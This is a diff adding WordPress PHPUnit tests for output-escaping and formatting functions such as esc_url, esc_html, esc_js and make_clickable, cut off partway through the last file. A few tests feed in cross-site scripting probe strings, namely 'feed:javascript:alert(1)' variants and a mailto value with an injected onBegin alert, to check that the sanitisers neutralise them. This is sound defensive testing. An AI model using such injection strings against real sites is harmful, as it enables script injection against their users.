+	 * @ticket 35293
+	 * @dataProvider data_wp_staticize_emoji
+	 */
+	public function test_wp_staticize_emoji( $emoji, $expected ) {
+		$this->assertSame( $expected, wp_staticize_emoji( $emoji ) );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/formatting/EscAttr.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/formatting/EscAttr.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/formatting/EscAttr.php	(revision 56912)
@@ -0,0 +1,32 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_EscAttr extends WP_UnitTestCase {
+	function test_esc_attr_quotes() {
+		$attr = '"double quotes"';
+		$this->assertEquals( '&quot;double quotes&quot;', esc_attr( $attr ) );
+
+		$attr = "'single quotes'";
+		$this->assertEquals( '&#039;single quotes&#039;', esc_attr( $attr ) );
+
+		$attr = "'mixed' " . '"quotes"';
+		$this->assertEquals( '&#039;mixed&#039; &quot;quotes&quot;', esc_attr( $attr ) );
+
+		// Handles double encoding?
+		$attr = '"double quotes"';
+		$this->assertEquals( '&quot;double quotes&quot;', esc_attr( esc_attr( $attr ) ) );
+
+		$attr = "'single quotes'";
+		$this->assertEquals( '&#039;single quotes&#039;', esc_attr( esc_attr( $attr ) ) );
+
+		$attr = "'mixed' " . '"quotes"';
+		$this->assertEquals( '&#039;mixed&#039; &quot;quotes&quot;', esc_attr( esc_attr( $attr ) ) );
+	}
+
+	function test_esc_attr_amp() {
+		$out = esc_attr( 'foo & bar &baz; &nbsp;' );
+		$this->assertEquals( "foo &amp; bar &amp;baz; &nbsp;", $out );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/formatting/EscHtml.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/formatting/EscHtml.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/formatting/EscHtml.php	(revision 56912)
@@ -0,0 +1,40 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_EscHtml extends WP_UnitTestCase {
+	function test_esc_html_basics() {
+		// Simple string
+		$html = "The quick brown fox.";
+		$this->assertEquals( $html, esc_html( $html ) );
+
+		// URL with &
+		$html = "http://localhost/trunk/wp-login.php?action=logout&_wpnonce=cd57d75985";
+		$escaped = "http://localhost/trunk/wp-login.php?action=logout&amp;_wpnonce=cd57d75985";
+		$this->assertEquals( $escaped, esc_html( $html ) );
+
+		// SQL query
+		$html = "SELECT meta_key, meta_value FROM wp_trunk_sitemeta WHERE meta_key IN ('site_name', 'siteurl', 'active_sitewide_plugins', '_site_transient_timeout_theme_roots', '_site_transient_theme_roots', 'site_admins', 'can_compress_scripts', 'global_terms_enabled') AND site_id = 1";
+		$escaped = "SELECT meta_key, meta_value FROM wp_trunk_sitemeta WHERE meta_key IN (&#039;site_name&#039;, &#039;siteurl&#039;, &#039;active_sitewide_plugins&#039;, &#039;_site_transient_timeout_theme_roots&#039;, &#039;_site_transient_theme_roots&#039;, &#039;site_admins&#039;, &#039;can_compress_scripts&#039;, &#039;global_terms_enabled&#039;) AND site_id = 1";
+		$this->assertEquals( $escaped, esc_html( $html ) );
+	}
+
+	function test_escapes_ampersands() {
+		$source = "penn & teller & at&t";
+		$res = "penn &amp; teller &amp; at&amp;t";
+		$this->assertEquals( $res, esc_html($source) );
+	}
+
+	function test_escapes_greater_and_less_than() {
+		$source = "this > that < that <randomhtml />";
+		$res = "this &gt; that &lt; that &lt;randomhtml /&gt;";
+		$this->assertEquals( $res, esc_html($source) );
+	}
+
+	function test_ignores_existing_entities() {
+		$source = '&#038; &#x00A3; &#x22; &amp;';
+		$res = '&#038; &#xA3; &#x22; &amp;';
+		$this->assertEquals( $res, esc_html($source) );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/formatting/EscTextarea.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/formatting/EscTextarea.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/formatting/EscTextarea.php	(revision 56912)
@@ -0,0 +1,36 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_EscTextarea extends WP_UnitTestCase {
+
+	function _charset_iso_8859_1() {
+		return 'iso-8859-1';
+	}
+
+	/*
+	 * Only fails in PHP 5.4 onwards
+	 * @ticket 23688
+	 */
+	function test_esc_textarea_charset_iso_8859_1() {
+		add_filter( 'pre_option_blog_charset', array( $this, '_charset_iso_8859_1' ) );
+		$iso8859_1 = 'Fran' .chr(135) .'ais';
+		$this->assertEquals( $iso8859_1, esc_textarea( $iso8859_1 ) );
+		remove_filter( 'pre_option_blog_charset', array( $this, '_charset_iso_8859_1' ) );
+	}
+
+	function _charset_utf_8() {
+		return 'UTF-8';
+	}
+
+	/*
+	 * @ticket 23688
+	 */
+	function test_esc_textarea_charset_utf_8() {
+		add_filter( 'pre_option_blog_charset', array( $this, '_charset_utf_8' ) );
+		$utf8 = 'Fran' .chr(195) . chr(167) .'ais';
+		$this->assertEquals( $utf8, esc_textarea( $utf8 ) );
+		remove_filter( 'pre_option_blog_charset', array( $this, '_charset_utf_8' ) );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/formatting/EscUrl.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/formatting/EscUrl.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/formatting/EscUrl.php	(revision 56912)
@@ -0,0 +1,227 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_EscUrl extends WP_UnitTestCase {
+
+	/**
+	 * @ticket 23605
+	 */
+	function test_spaces() {
+		$this->assertEquals( 'http://example.com/Mr%20WordPress',    esc_url( 'http://example.com/Mr WordPress' ) );
+		$this->assertEquals( 'http://example.com/Mr%20WordPress',    esc_url( 'http://example.com/Mr%20WordPress' ) );
+		$this->assertEquals( 'http://example.com/Mr%20%20WordPress', esc_url( 'http://example.com/Mr%20%20WordPress' ) );
+		$this->assertEquals( 'http://example.com/Mr+WordPress',      esc_url( 'http://example.com/Mr+WordPress' ) );
+
+		$this->assertEquals( 'http://example.com/?foo=one%20two%20three&#038;bar=four', esc_url( 'http://example.com/?foo=one two three&bar=four' ) );
+		$this->assertEquals( 'http://example.com/?foo=one%20two%20three&#038;bar=four', esc_url( 'http://example.com/?foo=one%20two%20three&bar=four' ) );
+	}
+
+	function test_bad_characters() {
+		$this->assertEquals('http://example.com/watchthelinefeedgo', esc_url('http://example.com/watchthelinefeed%0Ago'));
+		$this->assertEquals('http://example.com/watchthelinefeedgo', esc_url('http://example.com/watchthelinefeed%0ago'));
+		$this->assertEquals('http://example.com/watchthecarriagereturngo', esc_url('http://example.com/watchthecarriagereturn%0Dgo'));
+		$this->assertEquals('http://example.com/watchthecarriagereturngo', esc_url('http://example.com/watchthecarriagereturn%0dgo'));
+		//Nesting Checks
+		$this->assertEquals('http://example.com/watchthecarriagereturngo', esc_url('http://example.com/watchthecarriagereturn%0%0ddgo'));
+		$this->assertEquals('http://example.com/watchthecarriagereturngo', esc_url('http://example.com/watchthecarriagereturn%0%0DDgo'));
+		$this->assertEquals('http://example.com/', esc_url('http://example.com/%0%0%0DAD'));
+		$this->assertEquals('http://example.com/', esc_url('http://example.com/%0%0%0ADA'));
+		$this->assertEquals('http://example.com/', esc_url('http://example.com/%0%0%0DAd'));
+		$this->assertEquals('http://example.com/', esc_url('http://example.com/%0%0%0ADa'));
+	}
+
+	function test_relative() {
+		$this->assertEquals('/example.php', esc_url('/example.php'));
+		$this->assertEquals('example.php', esc_url('example.php'));
+		$this->assertEquals('#fragment', esc_url('#fragment'));
+		$this->assertEquals('?foo=bar', esc_url('?foo=bar'));
+	}
+
+	function test_all_url_parts() {
+		$url = 'https://user:pass@host.example.com:1234/path;p=1?query=2&r[]=3#fragment';
+
+		$this->assertEquals( array(
+			'scheme'   => 'https',
+			'host'     => 'host.example.com',
+			'port'     => 1234,
+			'user'     => 'user',
+			'pass'     => 'pass',
+			'path'     => '/path;p=1',
+			'query'    => 'query=2&r[]=3',
+			'fragment' => 'fragment',
+		), parse_url( $url ) );
+		$this->assertEquals( 'https://user:pass@host.example.com:1234/path;p=1?query=2&r%5B%5D=3#fragment', esc_url_raw( $url ) );
+		$this->assertEquals( 'https://user:pass@host.example.com:1234/path;p=1?query=2&#038;r%5B%5D=3#fragment', esc_url( $url ) );
+	}
+
+	function test_bare() {
+		$this->assertEquals( 'http://example.com?foo', esc_url( 'example.com?foo' ) );
+		$this->assertEquals( 'http://example.com', esc_url( 'example.com' ) );
+		$this->assertEquals( 'http://localhost', esc_url( 'localhost' ) );
+		$this->assertEquals( 'http://example.com/foo', esc_url( 'example.com/foo' ) );
+		$this->assertEquals( 'http://баба.org/баба', esc_url( 'баба.org/баба' ) );
+	}
+
+	function test_encoding() {
+		$this->assertEquals( 'http://example.com?foo=1&bar=2',      esc_url_raw( 'http://example.com?foo=1&bar=2' ) );
+		$this->assertEquals( 'http://example.com?foo=1&amp;bar=2',  esc_url_raw( 'http://example.com?foo=1&amp;bar=2' ) );
+		$this->assertEquals( 'http://example.com?foo=1&#038;bar=2', esc_url_raw( 'http://example.com?foo=1&#038;bar=2' ) );
+
+		$this->assertEquals( 'http://example.com?foo=1&#038;bar=2', esc_url( 'http://example.com?foo=1&bar=2' ) );
+		$this->assertEquals( 'http://example.com?foo=1&#038;bar=2', esc_url( 'http://example.com?foo=1&amp;bar=2' ) );
+		$this->assertEquals( 'http://example.com?foo=1&#038;bar=2', esc_url( 'http://example.com?foo=1&#038;bar=2' ) );
+
+		$param = urlencode( 'http://example.com/?one=1&two=2' );
+		$this->assertEquals( "http://example.com?url={$param}", esc_url( "http://example.com?url={$param}" ) );
+	}
+
+	function test_protocol() {
+		$this->assertEquals('http://example.com', esc_url('http://example.com'));
+		$this->assertEquals('', esc_url('nasty://example.com/'));
+		$this->assertEquals( '', esc_url( 'example.com', array(
+			'https',
+		) ) );
+		$this->assertEquals( '', esc_url( 'http://example.com', array(
+			'https',
+		) ) );
+		$this->assertEquals( 'https://example.com', esc_url( 'https://example.com', array(
+			'http', 'https',
+		) ) );
+
+		foreach ( wp_allowed_protocols() as $scheme ) {
+			$this->assertEquals( "{$scheme}://example.com", esc_url( "{$scheme}://example.com" ), $scheme );
+			$this->assertEquals( "{$scheme}://example.com", esc_url( "{$scheme}://example.com", array(
+				$scheme,
+			) ), $scheme );
+		}
+
+		$this->assertTrue( ! in_array( 'data', wp_allowed_protocols(), true ) );
+		$this->assertEquals( '', esc_url( 'data:text/plain;base64,SGVsbG8sIFdvcmxkIQ%3D%3D' ) );
+
+		$this->assertTrue( ! in_array( 'foo', wp_allowed_protocols(), true ) );
+		$this->assertEquals( 'foo://example.com', esc_url( 'foo://example.com', array(
+			'foo',
+		) ) );
+
+	}
+
+	/**
+	 * @ticket 23187
+	 */
+	function test_protocol_case() {
+		$this->assertEquals('http://example.com', esc_url('HTTP://example.com'));
+		$this->assertEquals('http://example.com', esc_url('Http://example.com'));
+	}
+
+	function test_display_extras() {
+		$this->assertEquals('http://example.com/&#039;quoted&#039;', esc_url('http://example.com/\'quoted\''));
+		$this->assertEquals('http://example.com/\'quoted\'', esc_url('http://example.com/\'quoted\'',null,'notdisplay'));
+	}
+
+	function test_non_ascii() {
+		$this->assertEquals( 'http://example.org/баба', esc_url( 'http://example.org/баба' ) );
+		$this->assertEquals( 'http://баба.org/баба', esc_url( 'http://баба.org/баба' ) );
+		$this->assertEquals( 'http://müller.com/', esc_url( 'http://müller.com/' ) );
+	}
+
+	function test_feed() {
+		$this->assertEquals( '', esc_url( 'feed:javascript:alert(1)' ) );
+		$this->assertEquals( '', esc_url( 'feed:javascript:feed:alert(1)' ) );
+		$this->assertEquals( '', esc_url( 'feed:feed:javascript:alert(1)' ) );
+		$this->assertEquals( 'feed:feed:alert(1)', esc_url( 'feed:feed:alert(1)' ) );
+		$this->assertEquals( 'feed:http://wordpress.org/feed/', esc_url( 'feed:http://wordpress.org/feed/' ) );
+	}
+
+	/**
+	 * @ticket 16859
+	 */
+	function test_square_brackets() {
+		$this->assertEquals( '/example.php?one%5B%5D=two', esc_url( '/example.php?one[]=two' ) );
+		$this->assertEquals( '?foo%5Bbar%5D=baz', esc_url( '?foo[bar]=baz' ) );
+		$this->assertEquals( '//example.com/?foo%5Bbar%5D=baz', esc_url( '//example.com/?foo[bar]=baz' ) );
+		$this->assertEquals( 'http://example.com/?foo%5Bbar%5D=baz', esc_url( 'example.com/?foo[bar]=baz' ) );
+		$this->assertEquals( 'http://localhost?foo%5Bbar%5D=baz', esc_url( 'localhost?foo[bar]=baz' ) );
+		$this->assertEquals( 'http://example.com/?foo%5Bbar%5D=baz', esc_url( 'http://example.com/?foo[bar]=baz' ) );
+		$this->assertEquals( 'http://example.com/?foo%5Bbar%5D=baz', esc_url( 'http://example.com/?foo%5Bbar%5D=baz' ) );
+		$this->assertEquals( 'http://example.com/?baz=bar&#038;foo%5Bbar%5D=baz', esc_url( 'http://example.com/?baz=bar&foo[bar]=baz' ) );
+		$this->assertEquals( 'http://example.com/?baz=bar&#038;foo%5Bbar%5D=baz', esc_url( 'http://example.com/?baz=bar&#038;foo%5Bbar%5D=baz' ) );
+	}
+
+	/**
+	 * Courtesy of http://blog.lunatech.com/2009/02/03/what-every-web-developer-must-know-about-url-encoding
+	 */
+	function test_reserved_characters() {
+		$url = "http://example.com/:@-._~!$&'()*+,=;:@-._~!$&'()*+,=:@-._~!$&'()*+,==?/?:@-._~!$%27()*+,;=/?:@-._~!$%27()*+,;==#/?:@-._~!$&'()*+,;=";
+		$this->assertEquals( $url, esc_url_raw( $url ) );
+	}
+
+	/**
+	 * @ticket 21974
+	 */
+	function test_protocol_relative_with_colon() {
+		$this->assertEquals( '//example.com/foo?foo=abc:def', esc_url( '//example.com/foo?foo=abc:def' ) );
+	}
+
+	/**
+	 * @ticket 31632
+	 */
+	function test_mailto_with_newline() {
+		$body = <<<EOT
+Hi there,
+
+I thought you might want to sign up for this newsletter
+EOT;
+		$email_link = 'mailto:?body=' . rawurlencode( $body );
+		$email_link = esc_url( $email_link );
+		$this->assertEquals( 'mailto:?body=Hi%20there%2C%0A%0AI%20thought%20you%20might%20want%20to%20sign%20up%20for%20this%20newsletter', $email_link );
+	}
+
+	/**
+	 * @ticket 31632
+	 */
+	function test_mailto_in_http_url_with_newline() {
+		$body = <<<EOT
+Hi there,
+
+I thought you might want to sign up for this newsletter
+EOT;
+		$email_link = 'http://example.com/mailto:?body=' . rawurlencode( $body );
+		$email_link = esc_url( $email_link );
+		$this->assertEquals( 'http://example.com/mailto:?body=Hi%20there%2CI%20thought%20you%20might%20want%20to%20sign%20up%20for%20this%20newsletter', $email_link );
+	}
+
+	/**
+	 * @ticket 23605
+	 */
+	function test_mailto_with_spaces() {
+		$body = 'Hi there, I thought you might want to sign up for this newsletter';
+
+		$email_link = 'mailto:?body=' . $body;
+		$email_link = esc_url( $email_link );
+		$this->assertEquals( 'mailto:?body=Hi%20there,%20I%20thought%20you%20might%20want%20to%20sign%20up%20for%20this%20newsletter', $email_link );
+	}
+
+	/**
+	 * @ticket 28015
+	 */
+	function test_invalid_charaters() {
+		$this->assertEmpty( esc_url_raw('"^<>{}`') );
+	}
+
+	/** 
+	 * @ticket 34202
+	 */
+	function test_ipv6_hosts() {
+		$this->assertEquals( '//[::127.0.0.1]', esc_url( '//[::127.0.0.1]' ) );
+		$this->assertEquals( 'http://[::FFFF::127.0.0.1]', esc_url( 'http://[::FFFF::127.0.0.1]' ) );
+		$this->assertEquals( 'http://[::127.0.0.1]', esc_url( 'http://[::127.0.0.1]' ) );
+		$this->assertEquals( 'http://[::DEAD:BEEF:DEAD:BEEF:DEAD:BEEF:DEAD:BEEF]', esc_url( 'http://[::DEAD:BEEF:DEAD:BEEF:DEAD:BEEF:DEAD:BEEF]' ) );
+
+		// IPv6 with square brackets in the query? Why not.
+		$this->assertEquals( '//[::FFFF::127.0.0.1]/?foo%5Bbar%5D=baz', esc_url( '//[::FFFF::127.0.0.1]/?foo[bar]=baz' ) );
+		$this->assertEquals( 'http://[::FFFF::127.0.0.1]/?foo%5Bbar%5D=baz', esc_url( 'http://[::FFFF::127.0.0.1]/?foo[bar]=baz' ) );
+	}
+
+}
Index: /tags/5.0.20/tests/phpunit/tests/formatting/GetUrlInContent.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/formatting/GetUrlInContent.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/formatting/GetUrlInContent.php	(revision 56912)
@@ -0,0 +1,49 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_GetUrlInContent extends WP_UnitTestCase {
+	
+	/**
+	 * URL Content Data Provider
+	 *
+	 * array ( input_txt, converted_output_txt )
+	 */
+	public function get_input_output() {
+		return array (
+			array (
+				"",
+				false
+			), //empty content
+			array (
+				"<div>NO URL CONTENT</div>",
+				false
+			), //no URLs
+			array (
+				'<div href="/relative.php">NO URL CONTENT</div>',
+				false
+			), // ignore none link elements
+			array (
+				'ABC<div><a href="/relative.php">LINK</a> CONTENT</div>',
+				"/relative.php"
+			), // single link
+			array (
+				'ABC<div><a href="/relative.php">LINK</a> CONTENT <a href="/suppress.php">LINK</a></div>',
+				"/relative.php"
+			), // multiple links
+			array (
+				'ABC<div><a href="http://example.com/Mr%20WordPress 2">LINK</a> CONTENT </div>',
+				"http://example.com/Mr%20WordPress%202"
+			), // escape link
+		);
+	}
+
+	/**
+	 * Validate the get_url_in_content function
+	 * @dataProvider get_input_output
+	 */
+	function test_get_url_in_content( $in_str, $exp_str ) {
+		$this->assertEquals($exp_str, get_url_in_content( $in_str ) );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/formatting/HtmlExcerpt.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/formatting/HtmlExcerpt.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/formatting/HtmlExcerpt.php	(revision 56912)
@@ -0,0 +1,19 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_HtmlExcerpt extends WP_UnitTestCase {
+	function test_simple() {
+		$this->assertEquals("Baba", wp_html_excerpt("Baba told me not to come", 4));
+	}
+	function test_html() {
+		$this->assertEquals("Baba", wp_html_excerpt("<a href='http://baba.net/'>Baba</a> told me not to come", 4));
+	}
+	function test_entities() {
+		$this->assertEquals("Baba", wp_html_excerpt("Baba &amp; Dyado", 8));
+		$this->assertEquals("Baba", wp_html_excerpt("Baba &#038; Dyado", 8));
+		$this->assertEquals("Baba &amp; D", wp_html_excerpt("Baba &amp; Dyado", 12));
+		$this->assertEquals("Baba &amp; Dyado", wp_html_excerpt("Baba &amp; Dyado", 100));
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/formatting/HumanTimeDiff.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/formatting/HumanTimeDiff.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/formatting/HumanTimeDiff.php	(revision 56912)
@@ -0,0 +1,69 @@
+<?php
+
+/**
+ * @group formatting
+ * @ticket 38773
+ */
+class Tests_Formatting_HumanTimeDiff extends WP_UnitTestCase {
+
+	/**
+	 * @group formatting
+	 * @ticket 38773
+	 * @dataProvider data_test_human_time_diff
+	 */
+	function test_human_time_diff( $expected, $stopdate, $message ) {
+		$startdate = new DateTime( '2016-01-01 12:00:00' );
+		$this->assertEquals( $expected, human_time_diff( $startdate->format( 'U' ), $stopdate->format( 'U' ) ), $message );
+	}
+
+	// Data for test_human_time_diff.
+	function data_test_human_time_diff() {
+		return array(
+			array(
+				'5 mins',
+				new DateTime( '2016-01-01 12:05:00' ),
+				'Test a difference of 5 minutes.',
+			),
+			array(
+				'1 hour',
+				new DateTime( '2016-01-01 13:00:00' ),
+				'Test a difference of 1 hour.',
+			),
+			array(
+				'2 days',
+				new DateTime( '2016-01-03 12:00:00' ),
+				'Test a difference of 2 days.',
+			),
+			array(
+				'2 hours',
+				new DateTime( '2016-01-01 14:29:59' ),
+				'Test a difference of 2 hours, 29 minutes and 59 seconds  - should round down to 2 hours.',
+			),
+			array(
+				'3 hours',
+				new DateTime( '2016-01-01 14:30:00' ),
+				'Test a difference of 2 hours and 30 minutes - should round up to 3 hours.',
+			),
+			array(
+				'2 months',
+				new DateTime( '2016-02-15 12:00:00' ),
+				'Test a difference of 1 month and 15 days - should round up to 2 months.',
+			),
+			array(
+				'1 month',
+				new DateTime( '2016-02-14 12:00:00' ),
+				'Test a difference of 1 month and 14 days - should round down to 1 month.',
+			),
+			array(
+				'3 years',
+				new DateTime( '2018-07-02 12:00:00' ),
+				'Test a difference of 2 years 6 months and 1 day, should round up to 3 years.',
+			),
+			array(
+				'2 years',
+				new DateTime( '2018-07-01 12:00:00' ),
+				'Test a difference of 2 years 6 months, should round down to 2 years.',
+			),
+		);
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/formatting/IsEmail.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/formatting/IsEmail.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/formatting/IsEmail.php	(revision 56912)
@@ -0,0 +1,33 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_IsEmail extends WP_UnitTestCase {
+	function test_returns_the_email_address_if_it_is_valid() {
+		$data = array(
+			"bob@example.com",
+			"phil@example.info",
+			"ace@204.32.222.14",
+			"kevin@many.subdomains.make.a.happy.man.edu",
+			"a@b.co",
+			);
+		foreach ( $data as $datum ) {
+			$this->assertEquals( $datum, is_email( $datum ), $datum );
+		}
+	}
+
+	function test_returns_false_if_given_an_invalid_email_address() {
+		$data = array(
+			"khaaaaaaaaaaaaaaan!",
+			'http://bob.example.com/',
+			"sif i'd give u it, spamer!1",
+			"com.exampleNOSPAMbob",
+			"bob@your mom",
+			"a@b.c",
+			);
+		foreach ($data as $datum) {
+			$this->assertFalse(is_email($datum), $datum);
+		}
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/formatting/JSEscape.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/formatting/JSEscape.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/formatting/JSEscape.php	(revision 56912)
@@ -0,0 +1,46 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_JSEscape extends WP_UnitTestCase {
+	function test_js_escape_simple() {
+		$out = esc_js('foo bar baz();');
+		$this->assertEquals('foo bar baz();', $out);
+	}
+
+	function test_js_escape_quotes() {
+		$out = esc_js('foo "bar" \'baz\'');
+		// does it make any sense to change " into &quot;?  Why not \"?
+		$this->assertEquals("foo &quot;bar&quot; \'baz\'", $out);
+	}
+
+	function test_js_escape_backslash() {
+		$bs = '\\';
+		$out = esc_js('foo '.$bs.'t bar '.$bs.$bs.' baz');
+		// \t becomes t - bug?
+		$this->assertEquals('foo t bar '.$bs.$bs.' baz', $out);
+	}
+
+	function test_js_escape_amp() {
+		$out = esc_js('foo & bar &baz; &nbsp;');
+		$this->assertEquals("foo &amp; bar &amp;baz; &nbsp;", $out);
+	}
+
+	function test_js_escape_quote_entity() {
+		$out = esc_js('foo &#x27; bar &#39; baz &#x26;');
+		$this->assertEquals("foo \\' bar \\' baz &#x26;", $out);
+	}
+
+	function test_js_no_carriage_return() {
+		$out = esc_js("foo\rbar\nbaz\r");
+		// \r is stripped
+		$this->assertequals("foobar\\nbaz", $out);
+	}
+
+	function test_js_escape_rn() {
+		$out = esc_js("foo\r\nbar\nbaz\r\n");
+		// \r is stripped
+		$this->assertequals("foo\\nbar\\nbaz\\n", $out);
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/formatting/LikeEscape.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/formatting/LikeEscape.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/formatting/LikeEscape.php	(revision 56912)
@@ -0,0 +1,30 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_LikeEscape extends WP_UnitTestCase {
+	/**
+	 * @ticket 10041
+	 * @expectedDeprecated like_escape
+	 */
+	function test_like_escape() {
+
+		$inputs = array(
+			'howdy%', //Single Percent
+			'howdy_', //Single Underscore
+			'howdy\\', //Single slash
+			'howdy\\howdy%howdy_', //The works
+		);
+		$expected = array(
+			"howdy\\%",
+			'howdy\\_',
+			'howdy\\',
+			'howdy\\howdy\\%howdy\\_'
+		);
+
+		foreach ($inputs as $key => $input) {
+			$this->assertEquals($expected[$key], like_escape($input));
+		}
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/formatting/LinksAddTarget.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/formatting/LinksAddTarget.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/formatting/LinksAddTarget.php	(revision 56912)
@@ -0,0 +1,84 @@
+<?php
+/**
+ * @group formatting
+ */
+class Tests_Formatting_LinksAddTarget extends WP_UnitTestCase {
+	/**
+	 * Test Content DataProvider
+	 *
+	 * array ( input_txt, converted_output_txt)
+	 */
+	public function get_input_output() {
+		return array (
+			array (
+				'MY CONTENT <div> SOME ADDITIONAL TEXT <a href="XYZ" src="ABC">LINK</a> HERE </div> END TEXT',
+				null,
+				null,
+				'MY CONTENT <div> SOME ADDITIONAL TEXT <a href="XYZ" src="ABC" target="_blank">LINK</a> HERE </div> END TEXT'
+			),
+			array (
+				'MY CONTENT <div> SOME ADDITIONAL TEXT <A href="XYZ" src="ABC">LINK</A> HERE </div> END TEXT',
+				null,
+				null,
+				'MY CONTENT <div> SOME ADDITIONAL TEXT <A href="XYZ" src="ABC" target="_blank">LINK</A> HERE </div> END TEXT'
+			),
+			array (
+				'MY CONTENT <div> SOME ADDITIONAL TEXT <a href="XYZ" src="ABC">LINK</a> HERE </div> <a href="XYZ"  >LINK</a>END TEXT',
+				null,
+				null,
+				'MY CONTENT <div> SOME ADDITIONAL TEXT <a href="XYZ" src="ABC" target="_blank">LINK</a> HERE </div> <a href="XYZ"   target="_blank">LINK</a>END TEXT'
+			),
+			array (
+				'MY CONTENT <div> SOME ADDITIONAL TEXT <a href="XYZ" src="ABC">LINK</a> HERE </div> <span>END TEXT</span>',
+				"_top",
+				null,
+				'MY CONTENT <div> SOME ADDITIONAL TEXT <a href="XYZ" src="ABC" target="_top">LINK</a> HERE </div> <span>END TEXT</span>'
+			),
+			array (
+				'MY CONTENT <div> SOME ADDITIONAL TEXT <a href="XYZ" src="ABC">LINK</a> HERE </div> <span>END TEXT</span>',
+				"_top",
+				array( 'span'),
+				'MY CONTENT <div> SOME ADDITIONAL TEXT <a href="XYZ" src="ABC">LINK</a> HERE </div> <span target="_top">END TEXT</span>'
+			),
+			array (
+				'MY CONTENT <div> SOME ADDITIONAL TEXT <a href="XYZ" src="ABC">LINK</a> HERE </div> <span>END TEXT</span>',
+				"_top",
+				array( 'SPAN'),
+				'MY CONTENT <div> SOME ADDITIONAL TEXT <a href="XYZ" src="ABC">LINK</a> HERE </div> <span target="_top">END TEXT</span>'
+			),
+			array (
+				'MY CONTENT <div> SOME ADDITIONAL TEXT <a href="XYZ" src="ABC">LINK</a> HERE </div> <span target="_top">END TEXT</span>',
+				"_top",
+				array( 'span', 'div'),
+				'MY CONTENT <div target="_top"> SOME ADDITIONAL TEXT <a href="XYZ" src="ABC">LINK</a> HERE </div> <span target="_top">END TEXT</span>'
+			),
+			array (
+				'MY CONTENT <div target=\'ABC\'> SOME ADDITIONAL TEXT <a href="XYZ" src="ABC">LINK</a> HERE </div> <span target="xyz">END TEXT</span>',
+				"_top",
+				array( 'span', 'div'),
+				'MY CONTENT <div target="_top"> SOME ADDITIONAL TEXT <a href="XYZ" src="ABC">LINK</a> HERE </div> <span target="_top">END TEXT</span>'
+			),
+			array (
+				'MY CONTENT <div> SOME ADDITIONAL TEXT <a href="XYZ" src="ABC">LINK</a> HERE </div> <span target="xyz" src="ABC">END TEXT</span>',
+				"_top",
+				array( 'span'),
+				'MY CONTENT <div> SOME ADDITIONAL TEXT <a href="XYZ" src="ABC">LINK</a> HERE </div> <span src="ABC" target="_top">END TEXT</span>'
+			),
+		);
+	}
+
+	/**
+	 * Validate the normalize_whitespace function
+	 *
+	 * @dataProvider get_input_output
+	 */
+	function test_normalize_whitespace( $content, $target, $tags, $exp_str ) {
+		if ( true === is_null( $target ) ) {
+			$this->assertEquals( $exp_str, links_add_target( $content ) );
+		} elseif ( true === is_null( $tags ) ) {
+			$this->assertEquals( $exp_str, links_add_target( $content, $target ) );
+		} else {
+			$this->assertEquals( $exp_str, links_add_target( $content, $target, $tags ) );
+		}
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/formatting/MakeClickable.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/formatting/MakeClickable.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/formatting/MakeClickable.php	(revision 56912)
@@ -0,0 +1,401 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_MakeClickable extends WP_UnitTestCase {
+	function test_mailto_xss() {
+		$in = 'testzzz@"STYLE="behavior:url(\'#default#time2\')"onBegin="alert(\'refresh-XSS\')"';
+		$this->assertEquals($in, make_clickable($in));
+	}
+
+	function test_valid_mailto() {
+		$valid_emails = array(
+			'foo@example.com',
+			'foo.bar@example.com',
+			'Foo.Bar@a.b.c.d.example.com',
+			'0@example.com',
+			'foo@example-example.com',
+			);
+		foreach ($valid_emails as $email) {
+			$this->assertEquals('<a href="mailto:'.$email.'">'.$email.'</a>', make_clickable($email));
+		}
+	}
+
+	function test_invalid_mailto() {
+		$invalid_emails = array(
+			'foo',
+			'foo@',
+			'foo@@example.com',
+			'@example.com',
+			'foo @example.com',
+			'foo@example',
+			);
+		foreach ($invalid_emails as $email) {
